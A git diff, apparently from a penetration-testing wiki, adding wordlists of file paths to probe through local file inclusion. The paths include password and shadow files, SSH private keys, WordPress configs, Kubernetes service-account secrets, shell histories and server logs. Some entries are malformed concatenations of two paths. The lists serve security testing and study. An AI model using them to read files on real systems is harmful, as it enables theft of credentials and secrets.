+/var/log/error_log
+/var/log/error.logvar/log/apache/access_log
+/var/log/exim4/mainlog
+/var/log/exim4_mainlog
+/var/log/exim4/paniclog
+/var/log/exim/mainlog
+/var/log/exim/mainlogvar/log/maillog
+/var/log/exim.paniclog
+/var/log/exim/paniclog
+/var/log/faillog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy
+/var/log/httpsd/ssl.access_log
+/var/log/httpsd/ssl_log
+/var/log/kern.log
+/var/log/lastlog
+/var/log/lighttpd/access.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/lighttpd.access.log
+/var/log/lighttpd/lighttpd.error.log
+/var/log/mail.info
+/var/log/maillog
+/var/log/mail.warn
+/var/log/message
+/var/log/mysqlderror.log
+/var/log/mysqlderror.logvar/log/mysql/mysql.log
+/var/log/mysql/mysql.log
+/var/log/news
+/var/log/nginx/access.log
+/var/log/nginx/access.logproc/self/cmdline
+/var/log/nginx/error.log
+/var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log
+/var/log/postgresql/postgresql-9.6-mail.log
+/var/log/qmail
+/var/log/redis/redis-server.log
+/var/log/samba/log.smbd
+/var/log/secure
+/var/log/smtpd
+/var/log/spooler
+/var/log/sshd.log
+/var/log/syslog
+/var/log/telnetd
+/var/log/wtmp
+/var/log/xferlog
+/var/log/yum.log
+/var/mail/root
+/var/run/secrets/kubernetes.io/serviceaccount
+/var/run/utmp
+/var/webmin/miniserv.log
+/var/www/conf/httpd.conf
+/var/www/html/wordpress/wp-config.php
+/var/www/html/wp/wp-config.php
+/var/www/log/access_log
+/var/www/log/error_log
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/access_logvar/www/logs/access.log
+/var/www/mgr/logs/access.log
+/var/www/mgr/logs/error_log
+/var/www/mgr/logs/error.logvar/www/mgr/logs/access_log
+/var/www/wordpress/wp-config.php
+/var/www/wp/wp-config.php
+~/.viminfo
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.phpVolumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf
+/web/conf/php.ini
+/WINDOWSphp.ini
+/WINNTphp.ini
+~/.wm_style
+/xamppapachebinphp.ini
+/xampp/logs/access_log
+~/.Xdefaults
+~/.xinitrc
+~/.Xresources
+~/.xsession
\ No newline at end of file
diff --git a/src/files/LFI-With-PHPInfo-Assistance.pdf b/.gitbook/assets/lfi-with-phpinfo-assistance.pdf
similarity index 100%
rename from src/files/LFI-With-PHPInfo-Assistance.pdf
rename to .gitbook/assets/lfi-with-phpinfo-assistance.pdf
diff --git a/.gitbook/assets/lfi.txt b/.gitbook/assets/lfi.txt
new file mode 100644
index 00000000000..dd887237f70
--- /dev/null
+++ b/.gitbook/assets/lfi.txt
@@ -0,0 +1,430 @@
+/apache/logs/access.log
+/apache/logs/access_log
+/apache/logs/error.log
+/apache/logs/error_log
+~/.atfp_history
+~/.bash_history
+~/.bash_logout
+~/.bash_profile
+~/.bashrc
+/bin/php.ini
+/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf
+/etc/anaconda-ks.cfg
+/etc/anacrontab
+/etc/apache2/apache2.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache/conf/httpd.conf
+/etc/at.allow
+/etc/at.deny
+/etc/bashrc
+/etc/bootptab
+/etc/centos-release
+/etc/cesi.conf
+/etc/chrootUsers
+/etc/chrootUsersvar/log/xferlog
+/etc/chttp.conf
+/etc/cron.allow
+/etc/cron.deny
+/etc/crontab
+/etc/cups/cupsd.conf
+/etc/debconf.conf
+/etc/debian_version
+/etc/dovecot/dovecot.passwd
+/etc/environment
+/etc/fstab
+/etc/ftpaccess
+/etc/groups
+/etc/grub.conf
+/etc/gshadow
+/etc/hostapd.conf
+/etc/hostname
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/http/conf/httpd.conf
+/etc/httpd/access.conf
+/etc/httpd.conf
+/etc/httpd/srm.conf
+/etc/http/httpd.conf
+/etc/inetd.conf
+/etc/inittab
+/etc/lighttpd.conf
+/etc/lilo.conf
+/etc/logrotate.d/proftpd
+/etc/logrotate.d/proftpdwww/logs/proftpd.system.log
+/etc/lsb-release
+/etc/master.passwd
+/etc/modules.conf
+/etc/motdetc/passwd
+/etc/mtab
+/etc/my.conf
+/etc/mysql/user.MYD
+/etc/netconfig
+/etc/network/interfaces
+/etc/networks
+/etc/npasswd
+/etc/ntp.conf
+/etc/os-release
+/etc/php4.4/fcgi/php.ini
+/etc/php4.4/fcgi/php.inietc/php4/apache/php.ini
+/etc/php4/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/php/php4/php.ini
+/etc/php/php4/php.inietc/php/apache/php.ini
+/etc/polkit-1/localauthority.conf.d/50-localauthority.conf
+/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf
+/etc/printcap
+/etc/proftpd/modules.confvar/log/vsftpd.log
+/etc/proftpd/proftpd.conf
+/etc/protocols
+/etc/protpd/proftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pureftpd.pdbetc/pureftpd.passwd
+/etc/pure-ftpd/pureftpd.pdb
+/etc/pure-ftpd/putreftpd.pdb
+/etc/rsyncd.conf
+/etc/rsyslog.conf
+/etc/redhat-release
+/etc/samba/smb.conf
+/etc/security/environetc/security/limits
+/etc/security/group
+/etc/security/passwd
+/etc/security/user
+/etc/services
+/etc/shells
+/etc/snmpd.conf
+/etc/ssh/ssh_host_ecdsa_key
+/etc/ssh/ssh_host_ecdsa_key.pub
+/etc/ssh/ssh_host_key
+/etc/ssh/ssh_host_key.pub
+/etc/ssh/ssh_host_rsa_key
+/etc/ssh/ssh_host_rsa_key.pub
+/etc/sudoers
+/etc/supervisord.conf
+/etc/sysconfig/network
+/etc/sysctl.conf
+/etc/syslog.conf
+/etc/system-release
+/etc/termcap
+/etc/timezone
+/etc/tomcat/tomcat-users.xml
+/etc/updatedb.conf
+~/.gtkrc
+/local/apache2/conf/httpd.conf
+/log/apache2/error_log
+~/.login
+~/.logout
+/logs/access.log
+/logs/access_log
+/logs/error.log
+/logs/error_log
+/logs/security_debug_log
+/logs/security_log
+~/.mysql_history
+~/.nano_history
+/opt/apache2/conf/httpd.conf
+/opt/apache/conf/httpd.conf
+/opt/lampp/etc/httpd.conf
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error_log
+/opt/lampp/logs/error.logopt
+/opt/xampp/logs/access.log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/php4php.ini
+/php5php.ini
+~/.php_history
+/phpphp.ini
+/PHPphp.ini
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.
+/proc/cpuinfo
+/proc/filesystems
+/proc/interrupts
+/proc/ioports
+/proc/meminfo
+/proc/modules
+/proc/self/cmdline
+/proc/self/cwd/index.php
+/proc/self/fd/0
+/proc/self/fd/1
+/proc/self/fd/10
+/proc/self/fd/100
+/proc/self/fd/11
+/proc/self/fd/12
+/proc/self/fd/13
+/proc/self/fd/14
+/proc/self/fd/15
+/proc/self/fd/16
+/proc/self/fd/17
+/proc/self/fd/18
+/proc/self/fd/19
+/proc/self/fd/2
+/proc/self/fd/20
+/proc/self/fd/21
+/proc/self/fd/22
+/proc/self/fd/23
+/proc/self/fd/24
+/proc/self/fd/25
+/proc/self/fd/26
+/proc/self/fd/27
+/proc/self/fd/28
+/proc/self/fd/29
+/proc/self/fd/3
+/proc/self/fd/30
+/proc/self/fd/31
+/proc/self/fd/32
+/proc/self/fd/33
+/proc/self/fd/34
+/proc/self/fd/35
+/proc/self/fd/36
+/proc/self/fd/37
+/proc/self/fd/38
+/proc/self/fd/39
+/proc/self/fd/4
+/proc/self/fd/41
+/proc/self/fd/42
+/proc/self/fd/43
+/proc/self/fd/44
+/proc/self/fd/45
+/proc/self/fd/46
+/proc/self/fd/47
+/proc/self/fd/48
+/proc/self/fd/49
+/proc/self/fd/5
+/proc/self/fd/51
+/proc/self/fd/52
+/proc/self/fd/53
+/proc/self/fd/54
+/proc/self/fd/55
+/proc/self/fd/56
+/proc/self/fd/57
+/proc/self/fd/58
+/proc/self/fd/59
+/proc/self/fd/6
+/proc/self/fd/61
+/proc/self/fd/62
+/proc/self/fd/63
+/proc/self/fd/64
+/proc/self/fd/65
+/proc/self/fd/66
+/proc/self/fd/67
+/proc/self/fd/68
+/proc/self/fd/69
+/proc/self/fd/7
+/proc/self/fd/71
+/proc/self/fd/72
+/proc/self/fd/73
+/proc/self/fd/74
+/proc/self/fd/75
+/proc/self/fd/76
+/proc/self/fd/77
+/proc/self/fd/78
+/proc/self/fd/79
+/proc/self/fd/8
+/proc/self/fd/81
+/proc/self/fd/82
+/proc/self/fd/83
+/proc/self/fd/84
+/proc/self/fd/85
+/proc/self/fd/86
+/proc/self/fd/87
+/proc/self/fd/88
+/proc/self/fd/89
+/proc/self/fd/9
+/proc/self/fd/91
+/proc/self/fd/92
+/proc/self/fd/93
+/proc/self/fd/94
+/proc/self/fd/95
+/proc/self/fd/96
+/proc/self/fd/97
+/proc/self/fd/98
+/proc/self/fd/99
+/proc/self/net/arp
+/proc/self/stat
+/proc/self/status
+/proc/self/statvar
+/proc/stat
+/proc/swaps
+~/.profile
+/root/anaconda-ks.cfg
+/root/.bash_history
+/root/.ssh/authorized_hosts
+/root/.ssh/authorized_keys
+/root/.ssh/id_dsa
+/root/.ssh/id_rsa
+/root/.ssh/known_hosts
+~/.ssh/authorized_keys
+~/.ssh/id_dsa
+~/.ssh/id_dsa.pub
+~/.ssh/identity
+~/.ssh/identity.pub
+~/.ssh/id_rsa
+~/.ssh/id_rsa.pub
+/usr/apache2/conf/httpd.conf
+/usr/apache/conf/httpd.conf
+/usr/etc/pure-ftpd.conf
+/usr/lib/security/mkuser.default
+/usr/local/apache2/conf/httpd.conf
+/usr/local/apache2/log/error_log
+/usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log
+/usr/local/apache2/logs/error_log
+/usr/local/apache2/logs/error.logvar/log/access_log
+/usr/local/apache/audit_log
+/usr/local/apache/conf/modsec.conf
+/usr/local/apache/error.log
+/usr/local/apache/error_log
+/usr/local/apache/httpd.confusr/local/apache2/httpd.conf
+/usr/local/apache/log
+/usr/local/apache/log/error_log
+/usr/local/apache/logs
+/usr/local/apache/logs/access.log
+/usr/local/apache/logs/access.logusr/local/apache/logs/error_log
+/usr/local/apache/logs/error.log
+/usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf
+/usr/local/cpanel/logs/access_log
+/usr/local/cpanel/logs/login_log
+/usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log
+/usr/local/cpanel/logs/stats_log
+/usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log
+/usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.conf
+/usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf
+/usr/local/etc/apache/vhosts.confetc/php.ini
+/usr/local/etc/httpd/logs/access_log
+/usr/local/etc/httpd/logs/error_log
+/usr/local/httpd/conf/httpd.conf
+/usr/local/lib/php.ini
+/usr/local/lib/php.iniusr/local/php/lib/php.ini
+/usr/local/php5/httpd.conf.php
+/usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf
+/usr/local/php/httpd.conf
+/usr/local/php/httpd.conf.ini
+/usr/local/php/httpd.conf.php
+/usr/local/php/lib/php.ini
+/usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl
+/usr/local/pureftpd/etc/pureftpd.pdn
+/usr/local/pureftpd/sbin/pure-config.pl
+/usr/local/www/logs/httpd_log
+/usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/
+/usr/ports/ftp/pure-ftpd/
+/usr/ports/net/pure-ftpd/
+/usr/sbin/pure-config.pl
+/usr/sbin/pure-config.plusr/etc/pure-ftpd.conf
+/usr/var/lib/mysql/debian.cnf
+/usr/var/lib/mysql/my.cnf
+/usr/var/lib/mysql/user.MYD
+/var/apache2/config.inc
+/var/apache/logs/access_log
+/var/apache/logs/error_log
+/var/htmp
+/var/lib/mysql/debian.cnf
+/var/lib/mysql/mysql/user.MYD
+/var/lib/mysql/user.MYD
+/var/local/www/conf/php.ini
+/var/local/www/conf/php.inietc/php/cgi/php.ini
+/var/log/access.log
+/var/log/apache2/access_log
+/var/log/apache2/access_logvar/log/httpd/error_log
+/var/log/apache2/error.log
+/var/log/apache2/error_log
+/var/log/apache/access_log
+/var/log/apache/error_log
+/var/log/apache-ssl/access.log
+/var/log/apache-ssl/error.log
+/var/log/auth.log
+/var/log/boot
+/var/log/chttp.log
+/var/log/cron.logvar/log/couchdb/couch.log
+/var/log/cups/error.log
+/var/log/daemon.log
+/var/log/debug
+/var/log/dmesg
+/var/log/dmessage
+/var/log/dpkg.log
+/var/log/error_log
+/var/log/error.logvar/log/apache/access_log
+/var/log/exim4/mainlog
+/var/log/exim4_mainlog
+/var/log/exim4/paniclog
+/var/log/exim/mainlog
+/var/log/exim/mainlogvar/log/maillog
+/var/log/exim.paniclog
+/var/log/exim/paniclog
+/var/log/faillog
+/var/log/ftp-proxy
+/var/log/ftp-proxy/ftp-proxy.log
+/var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy
+/var/log/httpsd/ssl.access_log
+/var/log/httpsd/ssl_log
+/var/log/kern.log
+/var/log/lastlog
+/var/log/lighttpd/access.log
+/var/log/lighttpd/error.log
+/var/log/lighttpd/lighttpd.access.log
+/var/log/lighttpd/lighttpd.error.log
+/var/log/mail.info
+/var/log/maillog
+/var/log/mail.warn
+/var/log/message
+/var/log/mysqlderror.log
+/var/log/mysqlderror.logvar/log/mysql/mysql.log
+/var/log/mysql/mysql.log
+/var/log/news
+/var/log/nginx/access.log
+/var/log/nginx/access.logproc/self/cmdline
+/var/log/nginx/error.log
+/var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log
+/var/log/postgresql/postgresql-9.6-mail.log
+/var/log/qmail
+/var/log/redis/redis-server.log
+/var/log/samba/log.smbd
+/var/log/secure
+/var/log/smtpd
+/var/log/spooler
+/var/log/sshd.log
+/var/log/syslog
+/var/log/telnetd
+/var/log/wtmp
+/var/log/xferlog
+/var/log/yum.log
+/var/mail/root
+/var/run/secrets/kubernetes.io/serviceaccount
+/var/run/utmp
+/var/webmin/miniserv.log
+/var/www/conf/httpd.conf
+/var/www/html/wordpress/wp-config.php
+/var/www/html/wp/wp-config.php
+/var/www/log/access_log
+/var/www/log/error_log
+/var/www/logs/access.log
+/var/www/logs/access_log
+/var/www/logs/access_logvar/www/logs/access.log
+/var/www/mgr/logs/access.log
+/var/www/mgr/logs/error_log
+/var/www/mgr/logs/error.logvar/www/mgr/logs/access_log
+/var/www/wordpress/wp-config.php
+/var/www/wp/wp-config.php
+~/.viminfo
+/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
+/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf
+/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.phpVolumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
+/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
+/Volumes/webBackup/private/etc/httpd/httpd.conf
+/Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf
+/web/conf/php.ini
+/WINDOWSphp.ini
+/WINNTphp.ini
+~/.wm_style
+/xamppapachebinphp.ini
+/xampp/logs/access_log
+~/.Xdefaults
+~/.xinitrc
+~/.Xresources
+~/.xsession
\ No newline at end of file
diff --git a/.gitbook/assets/lfi2.txt b/.gitbook/assets/lfi2.txt
new file mode 100644
index 00000000000..9944f6cd01d
--- /dev/null
+++ b/.gitbook/assets/lfi2.txt
@@ -0,0 +1,1008 @@
+/apache2/logs/access.log
+/apache2/logs/error.log
+/apache/conf/httpd.conf
+/apache/logs/access.log
+/apache/logs/error.log
+/apache/php/php.ini
+/apache\php\php.ini
+/bin/php.ini
+/boot/grub/grub.cfg
+/boot/grub/menu.lst
+/etc/adduser.conf
+/etc/alias
+/etc/apache22/conf/httpd.conf
+/etc/apache22/httpd.conf
+/etc/apache2/apache2.conf
+/etc/apache2/apache.conf
+/etc/apache2/conf/httpd.conf
+/etc/apache2/default-server.conf
+/etc/apache2/envvars
+/etc/apache2/httpd2.conf
+/etc/apache2/httpd.conf
+/etc/apache2/mods-available/autoindex.conf
+/etc/apache2/mods-available/deflate.conf
+/etc/apache2/mods-available/dir.conf
+/etc/apache2/mods-available/mem_cache.conf
+/etc/apache2/mods-available/mime.conf
+/etc/apache2/mods-available/proxy.conf
+/etc/apache2/mods-available/setenvif.conf
+/etc/apache2/mods-available/ssl.conf
+/etc/apache2/mods-enabled/alias.conf
+/etc/apache2/mods-enabled/deflate.conf
+/etc/apache2/mods-enabled/dir.conf
+/etc/apache2/mods-enabled/mime.conf
+/etc/apache2/mods-enabled/negotiation.conf
+/etc/apache2/mods-enabled/php5.conf
+/etc/apache2/mods-enabled/status.conf
+/etc/apache2/ports.conf
+/etc/apache2/sites-available/default
+/etc/apache2/sites-available/default-ssl
+/etc/apache2/sites-enabled/000-default
+/etc/apache2/sites-enabled/default
+/etc/apache2/ssl-global.conf
+/etc/apache/access.conf
+/etc/apache/apache.conf
+/etc/apache/conf/httpd.conf
+/etc/apache/default-server.conf
+/etc/apache/httpd.conf
+/etc/apt/apt.conf
+/etc/avahi/avahi-daemon.conf
+/etc/bash.bashrc
+/etc/bluetooth/input.conf
+/etc/bluetooth/main.conf
+/etc/bluetooth/network.conf
+/etc/bluetooth/rfcomm.conf
+/etc/ca-certificates.conf
+/etc/ca-certificates.conf.dpkg-old
+/etc/casper.conf
+/etc/chkrootkit.conf
+/etc/chrootUsers
+/etc/clamav/clamd.conf
+/etc/clamav/freshclam.conf
+/etc/crontab
+/etc/crypttab
+/etc/cups/acroread.conf
+/etc/cups/cupsd.conf
+/etc/cups/cupsd.conf.default
+/etc/cups/pdftops.conf
+/etc/cups/printers.conf
+/etc/cvs-cron.conf
+/etc/cvs-pserver.conf
+/etc/debconf.conf
+/etc/debian_version
+/etc/default/grub
+/etc/deluser.conf
+/etc/dhcp3/dhclient.conf
+/etc/dhcp3/dhcpd.conf
+/etc/dhcp/dhclient.conf
+/etc/dns2tcpd.conf
+/etc/e2fsck.conf
+/etc/esound/esd.conf
+/etc/etter.conf
+/etc/exports
+/etc/fedora-release
+/etc/firewall.rules
+/etc/foremost.conf
+/etc/fstab
+/etc/ftpchroot
+/etc/ftphosts
+/etc/ftpusers
+/etc/fuse.conf
+/etc/group
+/etc/group-
+/etc/hdparm.conf
+/etc/host.conf
+/etc/hostname
+/etc/hosts
+/etc/hosts.allow
+/etc/hosts.deny
+/etc/http/conf/httpd.conf
+/etc/httpd/apache2.conf
+/etc/httpd/apache.conf
+/etc/httpd.conf
+/etc/httpd/conf
+/etc/httpd/conf/apache2.conf
+/etc/httpd/conf/apache.conf
+/etc/httpd/conf.d
+/etc/httpd/conf/httpd.conf
+/etc/httpd/extra/httpd-ssl.conf
+/etc/httpd/httpd.conf
+/etc/httpd/logs/acces.log
+/etc/httpd/logs/acces_log
+/etc/httpd/logs/access.log
+/etc/httpd/logs/access_log
+/etc/httpd/logs/error.log
+/etc/httpd/logs/error_log
+/etc/httpd/mod_php.conf
+/etc/httpd/php.ini
+/etc/http/httpd.conf
+/etc/inetd.conf
+/etc/init.d
+/etc/inittab
+/etc/ipfw.conf
+/etc/ipfw.rules
+/etc/issue
+/etc/issue.net
+/etc/kbd/config
+/etc/kernel-img.conf
+/etc/kernel-pkg.conf
+/etc/ldap/ldap.conf
+/etc/ld.so.conf
+/etc/lighttpd/lighthttpd.conf
+/etc/login.defs
+/etc/logrotate.conf
+/etc/ltrace.conf
+/etc/mail/sendmail.conf
+/etc/mandrake-release
+/etc/manpath.config
+/etc/miredo.conf
+/etc/miredo/miredo.conf
+/etc/miredo/miredo-server.conf
+/etc/miredo-server.conf
+/etc/modules
+/etc/mono/config
+/etc/motd
+/etc/mtab
+/etc/mtools.conf
+/etc/muddleftpd.com
+/etc/muddleftpd/muddleftpd.conf
+/etc/muddleftpd/muddleftpd.passwd
+/etc/muddleftpd/mudlog
+/etc/muddleftpd/mudlogd.conf
+/etc/muddleftpd/passwd
+/etc/my.cnf
+/etc/mysql/my.cnf
+/etc/networks
+/etc/nginx/nginx.conf
+/etc/openldap/ldap.conf
+/etc/os-release
+/etc/osxhttpd/osxhttpd.conf
+/etc/pam.conf
+/etc/passwd
+/etc/passwd-
+/etc/passwd~
+/etc/password.master
+/etc/php4/apache2/php.ini
+/etc/php4/apache/php.ini
+/etc/php4/cgi/php.ini
+/etc/php5/apache2/php.ini
+/etc/php5/apache/php.ini
+/etc/php5/cgi/php.ini
+/etc/php/apache2/php.ini
+/etc/php/apache/php.ini
+/etc/php/cgi/php.ini
+/etc/php.ini
+/etc/phpmyadmin/config.inc.php
+/etc/php/php4/php.ini
+/etc/php/php.ini
+/etc/postgresql/pg_hba.conf
+/etc/postgresql/postgresql.conf
+/etc/profile
+/etc/proftp.conf
+/etc/proftpd/modules.conf
+/etc/protpd/proftpd.conf
+/etc/pulse/client.conf
+/etc/pure-ftpd.conf
+/etc/pureftpd.passwd
+/etc/pureftpd.pdb
+/etc/pure-ftpd/pure-ftpd.conf
+/etc/pure-ftpd/pure-ftpd.pdb
+/etc/pure-ftpd/pureftpd.pdb
+/etc/rc.conf
+/etc/redhat-release
+/etc/resolv.conf
+/etc/samba/dhcp.conf
+/etc/samba/netlogon
+/etc/samba/private/smbpasswd
+/etc/samba/samba.conf
+/etc/samba/smb.conf
+/etc/samba/smb.conf.user
+/etc/samba/smbpasswd
+/etc/samba/smbusers
+/etc/security/access.conf
+/etc/security/environ
+/etc/security/failedlogin
+/etc/security/group
+/etc/security/group.conf
+/etc/security/lastlog
+/etc/security/limits
+/etc/security/limits.conf
+/etc/security/namespace.conf
+/etc/security/opasswd
+/etc/security/pam_env.conf
+/etc/security/passwd
+/etc/security/passwd
+/etc/security/sepermit.conf
+/etc/security/time.conf
+/etc/security/user
+/etc/sensors3.conf
+/etc/sensors.conf
+/etc/shadow
+/etc/shadow-
+/etc/shadow~
+/etc/slackware-release
+/etc/smb.conf
+/etc/smbpasswd
+/etc/smi.conf
+/etc/squirrelmail/apache.conf
+/etc/squirrelmail/config/config.php
+/etc/squirrelmail/config_default.php
+/etc/squirrelmail/config_local.php
+/etc/squirrelmail/config.php
+/etc/squirrelmail/default_pref
+/etc/squirrelmail/filters_setup.php
+/etc/squirrelmail/index.php
+/etc/squirrelmail/sqspell_config.php
+/etc/ssh/sshd_config
+/etc/sso/sso_config.ini
+/etc/stunnel/stunnel.conf
+/etc/sudoers
+/etc/SUSE-release
+/etc/sysconfig/network-scripts/ifcfg-eth0
+/etc/sysctl.conf
+/etc/syslog.conf
+/etc/timezone
+/etc/tinyproxy/tinyproxy.conf
+/etc/tor/tor-tsocks.conf
+/etc/tsocks.conf
+/etc/updatedb.conf
+/etc/updatedb.conf.BeforeVMwareToolsInstall
+/etc/utmp
+/etc/vhcs2/proftpd/proftpd.conf
+/etc/vmware-tools/config
+/etc/vmware-tools/tpvmlp.conf
+/etc/vmware-tools/vmware-tools-libraries.conf
+/etc/vsftpd.chroot_list
+/etc/vsftpd.conf
+/etc/vsftpd/vsftpd.conf
+/etc/webmin/miniserv.conf
+/etc/webmin/miniserv.users
+/etc/wicd/dhclient.conf.template.default
+/etc/wicd/manager-settings.conf
+/etc/wicd/wired-settings.conf
+/etc/wicd/wireless-settings.conf
+/etc/wu-ftpd/ftpaccess
+/etc/wu-ftpd/ftphosts
+/etc/wu-ftpd/ftpusers
+/etc/X11/xorg.conf
+/etc/X11/xorg.conf.BeforeVMwareToolsInstall
+/etc/X11/xorg.conf.orig
+/etc/X11/xorg.conf-vesa
+/etc/X11/xorg.conf-vmware
+/home2/bin/stable/apache/php.ini
+/home2\bin\stable\apache\php.ini
+/home/bin/stable/apache/php.ini
+/home\bin\stable\apache\php.ini
+/home/postgres/data/pg_hba.conf
+/home/postgres/data/pg_ident.conf
+/home/postgres/data/PG_VERSION
+/home/postgres/data/postgresql.conf
+/home/user/lighttpd/lighttpd.conf
+/http/httpd.conf
+/[JBOSS]/server/default/conf/jboss-minimal.xml
+/[JBOSS]/server/default/conf/jboss-service.xml
+/[JBOSS]/server/default/conf/jndi.properties
+/[JBOSS]/server/default/conf/log4j.xml
+/[JBOSS]/server/default/conf/login-config.xml
+/[JBOSS]/server/default/conf/server.log.properties
+/[JBOSS]/server/default/conf/standardjaws.xml
+/[JBOSS]/server/default/conf/standardjboss.xml
+/[JBOSS]/server/default/deploy/jboss-logging.xml
+/[JBOSS]/server/default/log/boot.log
+/[JBOSS]/server/default/log/server.log
+/Library/WebServer/Documents/default.htm
+/Library/WebServer/Documents/default.html
+/Library/WebServer/Documents/default.php
+/Library/WebServer/Documents/.htaccess
+/Library/WebServer/Documents/index.htm
+/Library/WebServer/Documents/index.html
+/Library/WebServer/Documents/index.php
+/logs/access.log
+/logs/access_log
+/logs/error.log
+/logs/error_log
+/logs/pure-ftpd.log
+/logs/security_debug_log
+/logs/security_log
+/mysql/bin/my.ini
+/MySQL/data/{HOST}.err
+/MySQL/data/mysql-bin.index
+/MySQL/data/mysql-bin.log
+/MySQL/data/mysql.err
+/MySQL/data/mysql.log
+/MySQL/my.cnf
+/MySQL/my.ini
+/NetServer/bin/stable/apache/php.ini
+/NetServer\bin\stable\apache\php.ini
+/opt/apache22/conf/httpd.conf
+/opt/apache2/apache2.conf
+/opt/apache2/apache.conf
+/opt/apache2/conf/apache2.conf
+/opt/apache2/conf/apache.conf
+/opt/apache2/conf/httpd.conf
+/opt/apache/apache2.conf
+/opt/apache/apache.conf
+/opt/apache/conf/apache2.conf
+/opt/apache/conf/apache.conf
+/opt/apache/conf/httpd.conf
+/opt/httpd/apache2.conf
+/opt/httpd/apache.conf
+/opt/httpd/conf/apache2.conf
+/opt/httpd/conf/apache.conf
+/opt/[JBOSS]/server/default/conf/jboss-minimal.xml
+/opt/[JBOSS]/server/default/conf/jboss-service.xml
+/opt/[JBOSS]/server/default/conf/jndi.properties
+/opt/[JBOSS]/server/default/conf/log4j.xml
+/opt/[JBOSS]/server/default/conf/login-config.xml
+/opt/[JBOSS]/server/default/conf/server.log.properties
+/opt/[JBOSS]/server/default/conf/standardjaws.xml
+/opt/[JBOSS]/server/default/conf/standardjboss.xml
+/opt/[JBOSS]/server/default/deploy/jboss-logging.xml
+/opt/[JBOSS]/server/default/log/boot.log
+/opt/[JBOSS]/server/default/log/server.log
+/opt/lampp/etc/httpd.conf
+/opt/lampp/logs/access.log
+/opt/lampp/logs/access_log
+/opt/lampp/logs/error.log
+/opt/lampp/logs/error_log
+/opt/lsws/conf/httpd_conf.xml
+/opt/lsws/logs/access.log
+/opt/lsws/logs/error.log
+/opt/tomcat/logs/catalina.err
+/opt/tomcat/logs/catalina.out
+/opt/xampp/etc/php.ini
+/opt/xampp/logs/access.log
+/opt/xampp/logs/access_log
+/opt/xampp/logs/error.log
+/opt/xampp/logs/error_log
+/private/etc/httpd/apache2.conf
+/private/etc/httpd/apache.conf
+/private/etc/httpd/httpd.conf
+/private/etc/httpd/httpd.conf.default
+/private/etc/squirrelmail/config/config.php
+/private/tmp/[JBOSS]/server/default/conf/jboss-minimal.xml
+/private/tmp/[JBOSS]/server/default/conf/jboss-service.xml
+/private/tmp/[JBOSS]/server/default/conf/jndi.properties
+/private/tmp/[JBOSS]/server/default/conf/log4j.xml
+/private/tmp/[JBOSS]/server/default/conf/login-config.xml
+/private/tmp/[JBOSS]/server/default/conf/server.log.properties
+/private/tmp/[JBOSS]/server/default/conf/standardjaws.xml
+/private/tmp/[JBOSS]/server/default/conf/standardjboss.xml
+/private/tmp/[JBOSS]/server/default/deploy/jboss-logging.xml
+/private/tmp/[JBOSS]/server/default/log/boot.log
+/private/tmp/[JBOSS]/server/default/log/server.log
+/proc/cpuinfo
+/proc/devices
+/proc/meminfo
+/proc/net/tcp
+/proc/net/udp
+/proc/self/cmdline
+/proc/self/environ
+/proc/self/mounts
+/proc/self/stat
+/proc/self/status
+/proc/version
+/Program Files/Apache Group/Apache2/conf/apache2.conf
+/Program Files/Apache Group/Apache2/conf/apache.conf
+/Program Files/Apache Group/Apache2/conf/httpd.conf
+/Program Files\Apache Group\Apache2\conf\httpd.conf
+/Program Files/Apache Group/Apache/apache2.conf
+/Program Files/Apache Group/Apache/apache.conf
+/Program Files/Apache Group/Apache/conf/apache2.conf
+/Program Files/Apache Group/Apache/conf/apache.conf
+/Program Files/Apache Group/Apache/conf/httpd.conf
+/Program Files\Apache Group\Apache\conf\httpd.conf
+/Program Files/Apache Group/Apache/logs/access.log
+/Program Files\Apache Group\Apache\logs\access.log
+/Program Files/Apache Group/Apache/logs/error.log
